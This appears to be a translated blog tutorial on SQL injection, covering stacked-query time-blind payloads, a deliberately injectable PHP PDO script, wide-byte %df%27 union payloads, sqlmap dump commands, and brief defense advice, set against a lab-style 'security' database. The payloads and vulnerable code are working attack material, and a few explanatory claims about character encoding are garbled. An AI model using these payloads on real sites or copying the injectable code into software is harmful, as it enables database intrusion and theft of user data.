Finally, we have completed SQL joint injection.

Stack query injection

Stack query injection attack

Stacked query injection: stacked queries can execute multiple SQL statements separated by semicolons (;). The stack query injection attack uses this feature to construct the statement to be executed in the second statement.

1) Consider using stack injection

visit URL:http://www.tianchi.com/web/duidie.php?id=1 returns normal information;

visit URL:http://www.tianchi.com/web/duidie.php?id=1 'returns error information;

visit URL:http://www.tianchi.com/web/duidie.php?id=1'%23 returns normal information;

Here, boolean injection, time blind injection, or stack injection can be used.

2) Get database library name

(1) Judge the length of the current database name

sentence:

';select if(length(database())>=8,sleep(4),1)%23
URL:http://www.tianchi.com/web/duidie.php?id=1';select if(length(database())>=8,sleep(4),1)

You can see that the page response time is 5023 milliseconds, or 5.023 seconds, which indicates that the page executes sleep(4), that is, length (database()) > = 8. The Repeater module using Burp is as follows:

URL:http://www.tianchi.com/web/duidie.php?id=1';select if(length(database())>=9,sleep(4),1)

You can see that the page response time is 1026 milliseconds, or 1.026 seconds, which indicates that the page does not execute sleep(4), but executes select 1, that is, length (database()) > = 9 is wrong. Then you can determine that the length of the current database name is 8. The Repeater module using Burp is as follows:

(2) Get the current database name

Because the database name range is generally between A-Z and 0-9, there may be special characters, which are not case sensitive. Similar to boolean injection and time blind injection, substr function is also used to intercept the value of database(), one at a time. Note that unlike limit, it starts from 1.
sentence:

';select if(substr(database(),1,1)='a',sleep(4),1)%23
URL:http://www.tianchi.com/web/duidie.php?id=1';select if(substr(database(),1,1)='s',sleep(4),1)%23

You can see that the first character of the current database name is s. similarly, you can get the database name: security

3) Get database table name

sentence:

';select if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(4),1)%23
URL:http://www.tianchi.com/web/duidie.php?id=1';select if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(4),1)%23

You can see that the first character of the first table name of the security database is e.

Similarly, get all the characters, and finally get the first table name of the security database: emails.

The same as time blind injection, by constructing different time injection statements, you can get the complete database name, table name, field name and specific data.

Stack queries and inject PHP code

In the stack injection page, the program obtains the GET parameter ID and uses PDO to query the data, but still splices the parameter ID into the query statement, resulting in PDO not having the effect of precompiling, and the program still has SQL injection vulnerability. When using PDO to execute SQL statements, although multiple statements can be executed, PDO will only return the execution result of the first SQL statement. Therefore, the second statement needs to update the data with update or use time blind notes to obtain data. The code is as follows:

<?php
header("Content-Type:text/html;charset=utf8");
try{
	$con=new PDO("mysql:host=localhost;dbname=security","root","root");
	$con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
	$id=$_GET['id'];
	$stmt=$con->query("select * from users where id='".$id."'");
	$result=$stmt->setFetchMode(PDO::FETCH_ASSOC);
	foreach ($stmt->fetchAll() as $k => $v) {
		foreach ($v as $key => $value) {
			echo $value;
		}
	}
	$dsn=null;
}
catch(PDOException $e){
	echo "Query exception!";
}
$con=null;
?>

Wide byte injection

Origin of wide bytes

A character whose size is one byte is called narrow byte
If the size is two bytes, we call it wide byte
All English words occupy one byte by default
Then Chinese characters occupy two bytes by default
For example, gb2312,GBK,GB18030,BIG5,Shift_JIS these codes are wide bytes
There are 48 kinds of English a-zA-Z
A byte is an eight bit binary
Then there are 255 numbers of 0 and 1 combined, but there are only 48 in English, so the basic response is more than enough
But we only have 255 Chinese characters, so one byte can't meet our coding needs of Chinese characters
Therefore, our Chinese, Korean, Japanese, etc. need two bytes to represent (i.e. 16 bit binary)
gbk is double byte encoding, which takes two bytes
One Chinese character encoded by UTF-8 occupies three bytes

Principle of wide byte injection

1. Wide byte injection mainly comes from the programmer setting the database code to non English code, which may produce wide byte injection
Wide byte sql injection is the statement used when php sends a request for mysql

SET names 'gbk' SET character_set_client=gbk

Sequential gbk encoding is carried out, but wide byte injection is caused by some inadvertent character sets
2. This introduces a php defense function
magic_ quotes_ GPC (Magic quote switch)
magic_ quotes_ The role of GPC function in php is to judge the data entered by the user and add the escape character "\" to the data received in post, get and cookie parameters to ensure that these data will not cause fatal errors in the program
Single quote 'double quote' backslash \null is escaped by adding backslash
3. Function of magic_quotes_gpc:
When there are special characters in php parameters, the escape character \ will be added in front of them for certain filtering

  1. In order to bypass the \ 'of magic_quotes_gpc, wide bytes are introduced.
    \: code% 5c operation: code% df%5c

Injection process

1. Use order by to determine the number of fields

?id=1%df%27%20and%201=2%20order%20by%203%23

2. Use the joint query to find the output point

?id=-1%df%27%20and%201=2%20union%20select%201,2,3%23


3. Query data

?id=-1%df%27%20and%201=2%20union%20select%201,database(),@@datadir%23


4. Query the database table from the built-in database

?id=1%df%27%20and%201=2%20union%20select%201,2,group_concat(table_name)from%20information_schema.tables%20where%20table_schema=security%23

Here we convert the security character to hexadecimal plus 0x

?id=1%df%27%20and%201=2%20union%20select%201,2,group_concat(table_name)from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23

How to repair

  • 1. Use UTF-8 encoding format to avoid wide byte injection
  • ps: not only in gbk, Korean, Japanese and so on are wide bytes, there may be wide byte injection vulnerabilities.
  • 2. mysql_real_escape_string,mysql_set_charset('gbk ', $conn); directly add filtering for query statements
  • 3. You can set parameters, character_set_client=binary

SQL injection utility

Common tools

  • SQLMAP:
    https://github.com/sqlmapproject/sqlmap
  • JSQL:
    https://github.com/ron190/jsql-injection

SQLMAP common commands

sqlmap.py -u http://test.com/sql1.php?user=test&id=1 --dbs

-u specifies the URL address of the test – dbs lists the database

sqlmap.py -u "http://test.com/sql1.php" --data="user=test&id=1" -p id

– data post parameter – p specifies parameter injection

sqlmap.py -u "http://test.com/sql1.php" --data="user=test&id=1" -p id --D mysql –tables

Gets the table name of the specified database

sqlmap.py -u "http://test.com/sql1.php" --data="user=test&id=1" -p id --D mysql -T user –columns

Gets the column names of the specified database and the specified table

sqlmap.py -u "http://test.com/sql1.php" --data="user=test&id=1" -p id --D mysql -T user --dump

dump data

-r c:\sqltest.txt  

Load request data

--cookie=COOKIE  

Cookies after login

--proxy="http://127.0.0.1:8080"  

Use HTTP proxy

Defense against SQL injection vulnerabilities

These hazards include but are not limited to:

  • Database information disclosure: the disclosure of users' privacy information stored in the database.
  • Web page tampering: tampering with a specific web page by operating the database.
  • The website is hung up to spread malware: modify the values of some fields in the database, embed webhorse links, and carry out hanging horse attacks.
  • The database is operated maliciously: the database server is attacked and the system administrator account of the database is tampered with.
  • The server is remotely controlled and installed with a back door. Through the operating system support provided by the database server, hackers can modify or control the operating system.
  • Destroy hard disk data and paralyze the whole system.

Some types of database systems can let SQL instructions operate the file system, which further magnifies the harm of SQL injection.

Filter special characters:
Characters such as single quotation marks, double quotation marks, slashes, backslashes, colons, empty characters, etc

Filtered objects:
User input
Parameter part of the submitted URL request
Data from cookie s
Deploy anti SQL injection system or script

Reference link:

https://blog.csdn.net/santtde/article/details/91353746
https://www.cnblogs.com/askta0/p/9201840.html
https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html
https://blog.csdn.net/southwind0/category_8097787.html
https://www.cnblogs.com/stem/p/11681090.html

Posted by carleyvibe on Thu, 11 Nov 2021 00:10:37 -0800